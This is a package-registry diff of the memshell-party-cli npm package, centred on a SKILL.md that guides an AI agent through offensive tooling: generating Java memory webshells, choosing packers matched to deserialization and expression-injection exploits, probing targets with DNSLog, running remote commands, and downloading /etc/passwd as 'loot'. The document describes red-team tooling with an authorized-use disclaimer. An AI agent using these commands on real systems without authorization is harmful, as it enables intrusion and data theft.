memshell-party-cli 0.3.3 → 0.3.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +425 -425
- package/README.md +419 -419
- package/dist/cli.js +12 -12
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +1 -1
- package/dist/index.js.map +1 -1
- package/package.json +51 -51
- package/skills/memshell-party/SKILL.md +281 -281
|
@@ -1,281 +1,281 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: memshell-party
|
|
3
|
-
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
|
-
---
|
|
5
|
-
|
|
6
|
-
# MemShellParty skill
|
|
7
|
-
|
|
8
|
-
Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
|
|
9
|
-
by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
|
|
10
|
-
|
|
11
|
-
> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
|
|
12
|
-
> do not have explicit written permission to test. You are responsible for how these payloads are used.
|
|
13
|
-
|
|
14
|
-
## How to talk to the tool
|
|
15
|
-
|
|
16
|
-
Two equivalent interfaces — pick whichever is available:
|
|
17
|
-
|
|
18
|
-
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
|
-
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
|
-
`list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
|
|
21
|
-
`server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
|
|
22
|
-
`target_note`, `target_list`, `target_remove`, `log_list`.
|
|
23
|
-
|
|
24
|
-
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
25
|
-
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
26
|
-
|
|
27
|
-
## Step 0 — Discover, don't guess
|
|
28
|
-
|
|
29
|
-
The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
|
|
30
|
-
hard-code a server/packer name from memory.** Always enumerate first:
|
|
31
|
-
|
|
32
|
-
```bash
|
|
33
|
-
memparty config servers # every server + its shell types
|
|
34
|
-
memparty config tools Tomcat # one server's tools + types
|
|
35
|
-
memparty config packers # packer parent/child tree
|
|
36
|
-
memparty config command # Command-tool encryptors & implementation classes
|
|
37
|
-
```
|
|
38
|
-
|
|
39
|
-
Add `--json` for machine-readable output. Use the exact strings these return.
|
|
40
|
-
|
|
41
|
-
Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
|
|
42
|
-
versions; over MCP: `server_version`).
|
|
43
|
-
|
|
44
|
-
## Step 1 — Pick the four core options
|
|
45
|
-
|
|
46
|
-
Every memory shell needs **server → shell tool → shell type → packer**.
|
|
47
|
-
|
|
48
|
-
### server
|
|
49
|
-
The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
|
|
50
|
-
`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
|
|
51
|
-
to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
|
|
52
|
-
|
|
53
|
-
### shell tool (what the memshell does once injected)
|
|
54
|
-
| Tool | Use when |
|
|
55
|
-
|------|----------|
|
|
56
|
-
| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
|
|
57
|
-
| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
|
|
58
|
-
| `AntSword` | AntSword ("蚁剑") webshell (pass) |
|
|
59
|
-
| `Command` | Single command execution / RCE (param name + encryptor) |
|
|
60
|
-
| `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
|
|
61
|
-
| `NeoreGeorg` | NeoreGeorg tunneling shell |
|
|
62
|
-
| `Proxy` | Generic proxy (often WebSocket-based) |
|
|
63
|
-
| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
|
|
64
|
-
|
|
65
|
-
### shell type (where it hooks into the server)
|
|
66
|
-
`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
|
|
67
|
-
`Agent*` variants. Rules of thumb:
|
|
68
|
-
- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
|
|
69
|
-
Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
|
|
70
|
-
- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
|
|
71
|
-
- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
|
|
72
|
-
filters). `Proxy` tool commonly pairs with `WebSocket` types.
|
|
73
|
-
- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
|
|
74
|
-
|
|
75
|
-
### packer (how to deliver/instantiate the payload)
|
|
76
|
-
The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
|
|
77
|
-
|
|
78
|
-
| Scenario / vuln | Packer family (leaf names) |
|
|
79
|
-
|-----------------|----------------------------|
|
|
80
|
-
| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
|
|
81
|
-
| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
|
|
82
|
-
| `Class.forName` / `defineClass` via big int | `BigInteger` |
|
|
83
|
-
| BCEL-encoded classloading | `BCEL` |
|
|
84
|
-
| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
|
|
85
|
-
| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
|
|
86
|
-
| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
|
|
87
|
-
| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
|
|
88
|
-
| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
|
|
89
|
-
| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
|
|
90
|
-
| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
|
|
91
|
-
| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
|
|
92
|
-
| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
|
|
93
|
-
| XXL-JOB endpoint | `XxlJob` |
|
|
94
|
-
|
|
95
|
-
> **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
|
|
96
|
-
> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
|
|
97
|
-
> (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
|
|
98
|
-
> `memparty config packers` to see the parent→child tree.
|
|
99
|
-
|
|
100
|
-
## Step 2 — Probe (fingerprint first when unsure)
|
|
101
|
-
|
|
102
|
-
If you don't know the target middleware, generate a **probe** to detect it before committing to a
|
|
103
|
-
memshell. Probes have a strict method × content matrix — only these combos work:
|
|
104
|
-
|
|
105
|
-
| Method (`-m`) | Supported contents (`-c`) | Extra flags |
|
|
106
|
-
|---------------|---------------------------|-------------|
|
|
107
|
-
| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
|
|
108
|
-
| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
|
|
109
|
-
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
|
|
110
|
-
|
|
111
|
-
> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
|
|
112
|
-
|
|
113
|
-
```bash
|
|
114
|
-
# Blind: does the target resolve our DNS? Which server is it?
|
|
115
|
-
memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
|
|
116
|
-
|
|
117
|
-
# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
|
|
118
|
-
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
119
|
-
|
|
120
|
-
# OOB-visible: run a command and echo it into the HTTP response body
|
|
121
|
-
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
|
|
122
|
-
```
|
|
123
|
-
|
|
124
|
-
The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
|
|
125
|
-
|
|
126
|
-
## Step 3 — Generate
|
|
127
|
-
|
|
128
|
-
```bash
|
|
129
|
-
memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
|
|
130
|
-
```
|
|
131
|
-
|
|
132
|
-
Common tool-specific flags:
|
|
133
|
-
- Godzilla: `--godzilla-pass`, `--godzilla-key`
|
|
134
|
-
- Behinder: `--behinder-pass`
|
|
135
|
-
- AntSword: `--antsword-pass`
|
|
136
|
-
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
|
|
137
|
-
- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
|
|
138
|
-
- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
|
|
139
|
-
- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
|
|
140
|
-
|
|
141
|
-
Output:
|
|
142
|
-
- payload → **stdout** by default.
|
|
143
|
-
- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
|
|
144
|
-
- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
|
|
145
|
-
|
|
146
|
-
## Step 4 — Verify the shell is alive
|
|
147
|
-
|
|
148
|
-
Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
|
|
149
|
-
you whether it works (exit 0/1):
|
|
150
|
-
|
|
151
|
-
```bash
|
|
152
|
-
memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
|
|
153
|
-
memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
|
|
154
|
-
memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
|
|
155
|
-
```
|
|
156
|
-
|
|
157
|
-
MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
|
|
158
|
-
`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
|
|
159
|
-
response (the Suo5v2 shell checks it too):
|
|
160
|
-
|
|
161
|
-
```bash
|
|
162
|
-
memparty connect -u <shell-url> -t godzilla --pass pass --key key \
|
|
163
|
-
--header-name User-Agent --header-value <headerValue-from-gen-json>
|
|
164
|
-
```
|
|
165
|
-
|
|
166
|
-
Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
|
|
167
|
-
`headerName`/`headerValue`, `suo5Mode`).
|
|
168
|
-
|
|
169
|
-
Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
|
|
170
|
-
`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
|
|
171
|
-
|
|
172
|
-
## Step 5 — Execute commands on the shell
|
|
173
|
-
|
|
174
|
-
Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
|
|
175
|
-
prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
|
|
176
|
-
`connect`:
|
|
177
|
-
|
|
178
|
-
```bash
|
|
179
|
-
memparty exec -u <shell-url> -t godzilla --pass pass --key key \
|
|
180
|
-
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
181
|
-
--cmd "whoami"
|
|
182
|
-
memparty exec -u <shell-url> -t behinder --pass rebeyond \
|
|
183
|
-
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
184
|
-
--cmd "id"
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
|
|
188
|
-
`cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
|
|
189
|
-
- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
|
|
190
|
-
- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
|
|
191
|
-
|
|
192
|
-
Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
|
|
193
|
-
`headerName`/`headerValue`).
|
|
194
|
-
|
|
195
|
-
## Step 6 — Transfer files
|
|
196
|
-
|
|
197
|
-
`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
|
|
198
|
-
real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
|
|
199
|
-
Behinder). Same credentials and gate header as `exec`:
|
|
200
|
-
|
|
201
|
-
```bash
|
|
202
|
-
memparty download -u <shell-url> -t godzilla --pass pass --key key \
|
|
203
|
-
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
204
|
-
/etc/passwd -o loot/passwd
|
|
205
|
-
memparty upload
|
|
206
|
-
```
|
|
207
|
-
|
|
208
|
-
- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
|
|
209
|
-
directory keeps the remote basename; no `-o` means `./<basename>`.
|
|
210
|
-
- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
|
|
211
|
-
upload warns that the remote file may be partial.
|
|
212
|
-
- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
|
|
213
|
-
- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
|
|
214
|
-
server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
|
|
215
|
-
Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
|
|
216
|
-
- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
|
|
217
|
-
file bytes never travel over MCP/stdout.
|
|
218
|
-
|
|
219
|
-
Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
|
|
220
|
-
`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
|
|
221
|
-
paths are on the machine running the MCP server.
|
|
222
|
-
|
|
223
|
-
## Step 7 — Save targets, switch by name
|
|
224
|
-
|
|
225
|
-
Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
|
|
226
|
-
with an optional remark and category), then reference it as `<project>/<shell>`:
|
|
227
|
-
|
|
228
|
-
```bash
|
|
229
|
-
memparty save
|
|
230
|
-
--header-name User-Agent --header-value <headerValue-from-gen-json> \
|
|
231
|
-
--remark "内网测试环境" --category test --shell-remark "root 权限"
|
|
232
|
-
memparty list # everything, or --category test
|
|
233
|
-
memparty exec
|
|
234
|
-
memparty exec
|
|
235
|
-
```
|
|
236
|
-
|
|
237
|
-
MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
|
|
238
|
-
`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
|
|
239
|
-
(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
|
|
240
|
-
`name: "<project>/<shell>"` to `connect_test` / `exec_command`.
|
|
241
|
-
The store lives at `~/.memparty/targets.json`.
|
|
242
|
-
|
|
243
|
-
## Step 8 — Audit with the operation log
|
|
244
|
-
|
|
245
|
-
Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
|
|
246
|
-
`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
|
|
247
|
-
is truncated.
|
|
248
|
-
Query it to recall what was done against a target:
|
|
249
|
-
|
|
250
|
-
```bash
|
|
251
|
-
memparty log --category exec --target
|
|
252
|
-
```
|
|
253
|
-
|
|
254
|
-
Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
|
|
255
|
-
actions before repeating them, or to answer "what did we run on this host?".
|
|
256
|
-
|
|
257
|
-
## Gotchas
|
|
258
|
-
|
|
259
|
-
- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
|
|
260
|
-
→ non-prefixed. Picking the wrong family = the shell won't load.
|
|
261
|
-
- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
|
|
262
|
-
target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
|
|
263
|
-
- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
|
|
264
|
-
special injector class name — the CLI generates one automatically; don't override
|
|
265
|
-
`--injector-class-name` for these.
|
|
266
|
-
- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
|
|
267
|
-
- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
|
|
268
|
-
- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
|
|
269
|
-
aren't class-byte payloads.
|
|
270
|
-
- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
|
|
271
|
-
don't trust payloads from public services in real engagements — self-host with Docker and use
|
|
272
|
-
`MEMPARTY_API_URL` or `--api`).
|
|
273
|
-
|
|
274
|
-
## Reverse: parse a class name
|
|
275
|
-
|
|
276
|
-
Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
|
|
277
|
-
|
|
278
|
-
```bash
|
|
279
|
-
memparty parse-classname --file shell.class
|
|
280
|
-
memparty parse-classname <base64-of-class-bytes>
|
|
281
|
-
```
|
|
1
|
+
---
|
|
2
|
+
name: memshell-party
|
|
3
|
+
description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# MemShellParty skill
|
|
7
|
+
|
|
8
|
+
Generate Java memory shells and probe shells via the MemShellParty backend (`https://party.mem.mk`
|
|
9
|
+
by default, or a self-hosted instance). The same HTTP API powers the `party.mem.mk/ui` web app.
|
|
10
|
+
|
|
11
|
+
> ⚠️ Authorized testing only. Never generate or deploy a payload against a target you do not own or
|
|
12
|
+
> do not have explicit written permission to test. You are responsible for how these payloads are used.
|
|
13
|
+
|
|
14
|
+
## How to talk to the tool
|
|
15
|
+
|
|
16
|
+
Two equivalent interfaces — pick whichever is available:
|
|
17
|
+
|
|
18
|
+
- **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
|
|
19
|
+
- **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
|
|
20
|
+
`list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
|
|
21
|
+
`server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
|
|
22
|
+
`target_note`, `target_list`, `target_remove`, `log_list`.
|
|
23
|
+
|
|
24
|
+
The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
|
|
25
|
+
(`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
|
|
26
|
+
|
|
27
|
+
## Step 0 — Discover, don't guess
|
|
28
|
+
|
|
29
|
+
The backend supports ~17 servers, 9 shell tools, dozens of shell types, and 60+ packers. **Never
|
|
30
|
+
hard-code a server/packer name from memory.** Always enumerate first:
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
memparty config servers # every server + its shell types
|
|
34
|
+
memparty config tools Tomcat # one server's tools + types
|
|
35
|
+
memparty config packers # packer parent/child tree
|
|
36
|
+
memparty config command # Command-tool encryptors & implementation classes
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
Add `--json` for machine-readable output. Use the exact strings these return.
|
|
40
|
+
|
|
41
|
+
Sanity-check backend reachability first with `memparty version` (prints the CLI and backend
|
|
42
|
+
versions; over MCP: `server_version`).
|
|
43
|
+
|
|
44
|
+
## Step 1 — Pick the four core options
|
|
45
|
+
|
|
46
|
+
Every memory shell needs **server → shell tool → shell type → packer**.
|
|
47
|
+
|
|
48
|
+
### server
|
|
49
|
+
The target middleware/framework. Match it to the actual target (e.g. `Tomcat`, `Jetty`,
|
|
50
|
+
`SpringWebMvc`, `JBoss`, `WebLogic`, `Undertow`, `Resin`, `Struts2`…). Use `memparty config servers`
|
|
51
|
+
to confirm it's supported. If you only know "it's a Spring Boot app", that's `SpringWebMvc`.
|
|
52
|
+
|
|
53
|
+
### shell tool (what the memshell does once injected)
|
|
54
|
+
| Tool | Use when |
|
|
55
|
+
|------|----------|
|
|
56
|
+
| `Godzilla` | Godzilla-compatible encrypted webshell (pass + key) |
|
|
57
|
+
| `Behinder` | Behinder ("冰蝎") encrypted webshell (pass) |
|
|
58
|
+
| `AntSword` | AntSword ("蚁剑") webshell (pass) |
|
|
59
|
+
| `Command` | Single command execution / RCE (param name + encryptor) |
|
|
60
|
+
| `Suo5` / `Suo5v2` | SOCKS5 proxy tunnel via Suo5 |
|
|
61
|
+
| `NeoreGeorg` | NeoreGeorg tunneling shell |
|
|
62
|
+
| `Proxy` | Generic proxy (often WebSocket-based) |
|
|
63
|
+
| `Custom` | Your own `.class` bytecode (`--shell-class-file` or `--shell-class-base64`) |
|
|
64
|
+
|
|
65
|
+
### shell type (where it hooks into the server)
|
|
66
|
+
`Listener`, `Filter`, `Servlet`, `Valve`, `Handler`, `Customizer`… plus `Jakarta*` variants and
|
|
67
|
+
`Agent*` variants. Rules of thumb:
|
|
68
|
+
- **`Jakarta`-prefixed types** → target uses **Jakarta EE** (Servlet 5+, e.g. Tomcat 10+, Spring Boot 3).
|
|
69
|
+
Non-prefixed → **javax** (Servlet 3/4, Tomcat 9 and below, Spring Boot 2).
|
|
70
|
+
- **`Agent`-prefixed types** → attach via a Java agent (needs the `AgentJar*` packer family, not class bytes).
|
|
71
|
+
- **`WebSocket*` / `Upgrade`** → hijack a WebSocket / HTTP-upgrade endpoint (stealthier; survives fewer
|
|
72
|
+
filters). `Proxy` tool commonly pairs with `WebSocket` types.
|
|
73
|
+
- Not every tool supports every type — `memparty config tools <server>` shows the legal combinations.
|
|
74
|
+
|
|
75
|
+
### packer (how to deliver/instantiate the payload)
|
|
76
|
+
The packer must match the **delivery vector** (the vuln you're exploiting). Pick by scenario:
|
|
77
|
+
|
|
78
|
+
| Scenario / vuln | Packer family (leaf names) |
|
|
79
|
+
|-----------------|----------------------------|
|
|
80
|
+
| Class bytecode, base64 (manual load) | `DefaultBase64`, `Base64URLEncoded`, `GzipBase64` |
|
|
81
|
+
| Drop a JSP file | `JSP`, `ClassLoaderJSP`, `DefineClassJSP`, `JSPX`, … |
|
|
82
|
+
| `Class.forName` / `defineClass` via big int | `BigInteger` |
|
|
83
|
+
| BCEL-encoded classloading | `BCEL` |
|
|
84
|
+
| `TemplatesImpl` (XSLT translet) RCE | `JDKAbstractTransletPacker`, `XalanAbstractTransletPacker`, `OracleAbstractTransletPacker` |
|
|
85
|
+
| Script engine eval (`ScriptEngineManager`) | `ScriptEngine`, `DefaultScriptEngine`, `ScriptEngineBigInteger` |
|
|
86
|
+
| Expression injection | `SpEL`, `OGNL`, `EL`, `MVEL`, `Aviator`, `JEXL`, `JXPath`, `Groovy`, `Velocity`, `Freemarker`, `JinJava`, `BeanShell`, `Rhino` |
|
|
87
|
+
| Java deserialization gadget chain | `JavaCommonsBeanutils19/18/17/16/110`, `JavaCommonsCollections3/4` (under `JavaDeserialize`) |
|
|
88
|
+
| Hessian deserialization | `HessianDeserialize`, `Hessian2Deserialize` (+ `*XSLTScriptEngine` variants) |
|
|
89
|
+
| `XMLDecoder` RCE | `XMLDecoder`, `XMLDecoderScriptEngine`, `XMLDecoderDefineClass` |
|
|
90
|
+
| Java agent attach (needs `Agent*` shell type) | `AgentJar`, `AgentJarWithJDKAttacher`, `AgentJarWithJREAttacher` |
|
|
91
|
+
| H2 DB console / arbitrary JDBC | `H2`, `H2Javac`, `H2JS`, `H2JSURLEncode` |
|
|
92
|
+
| Whole payload as a runnable JAR | `Jar`, `ScriptEngineJar`, `GroovyTransformJar` |
|
|
93
|
+
| XXL-JOB endpoint | `XxlJob` |
|
|
94
|
+
|
|
95
|
+
> **Aggregate vs leaf packers:** parent packers like `Base64`, `JSP`, `JavaDeserialize`,
|
|
96
|
+
> `AbstractTranslet`, `ScriptEngine`, `OGNL`, `SpEL`… return *several* variants at once
|
|
97
|
+
> (`allPackResults`). For a single payload, pick a **leaf** (child) packer. Run
|
|
98
|
+
> `memparty config packers` to see the parent→child tree.
|
|
99
|
+
|
|
100
|
+
## Step 2 — Probe (fingerprint first when unsure)
|
|
101
|
+
|
|
102
|
+
If you don't know the target middleware, generate a **probe** to detect it before committing to a
|
|
103
|
+
memshell. Probes have a strict method × content matrix — only these combos work:
|
|
104
|
+
|
|
105
|
+
| Method (`-m`) | Supported contents (`-c`) | Extra flags |
|
|
106
|
+
|---------------|---------------------------|-------------|
|
|
107
|
+
| `DNSLog` | `Server`, `JDK` | `--host <dnslog.domain>` |
|
|
108
|
+
| `Sleep` | `Server` only | `--sleep-server <guess> --seconds N` |
|
|
109
|
+
| `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` | `--server <guess> --req-param-name <p>` (Command also takes `--command-template`) |
|
|
110
|
+
|
|
111
|
+
> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Blind: does the target resolve our DNS? Which server is it?
|
|
115
|
+
memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
|
|
116
|
+
|
|
117
|
+
# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
|
|
118
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
119
|
+
|
|
120
|
+
# OOB-visible: run a command and echo it into the HTTP response body
|
|
121
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
|
|
125
|
+
|
|
126
|
+
## Step 3 — Generate
|
|
127
|
+
|
|
128
|
+
```bash
|
|
129
|
+
memparty gen -s <server> -t <tool> -y <type> -p <packer> [tool-specific flags] [--jdk <v>]
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
Common tool-specific flags:
|
|
133
|
+
- Godzilla: `--godzilla-pass`, `--godzilla-key`
|
|
134
|
+
- Behinder: `--behinder-pass`
|
|
135
|
+
- AntSword: `--antsword-pass`
|
|
136
|
+
- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
|
|
137
|
+
- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
|
|
138
|
+
- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
|
|
139
|
+
- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
|
|
140
|
+
|
|
141
|
+
Output:
|
|
142
|
+
- payload → **stdout** by default.
|
|
143
|
+
- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
|
|
144
|
+
- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
|
|
145
|
+
|
|
146
|
+
## Step 4 — Verify the shell is alive
|
|
147
|
+
|
|
148
|
+
Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
|
|
149
|
+
you whether it works (exit 0/1):
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
memparty connect -u <shell-url> -t godzilla --pass <pass> --key <key> # defaults pass/key
|
|
153
|
+
memparty connect -u <shell-url> -t behinder --pass <pass> # default rebeyond
|
|
154
|
+
memparty connect -u <shell-url> -t suo5 # add --suo5-mode v2|v1 to force
|
|
155
|
+
```
|
|
156
|
+
|
|
157
|
+
MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
|
|
158
|
+
`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
|
|
159
|
+
response (the Suo5v2 shell checks it too):
|
|
160
|
+
|
|
161
|
+
```bash
|
|
162
|
+
memparty connect -u <shell-url> -t godzilla --pass pass --key key \
|
|
163
|
+
--header-name User-Agent --header-value <headerValue-from-gen-json>
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
|
|
167
|
+
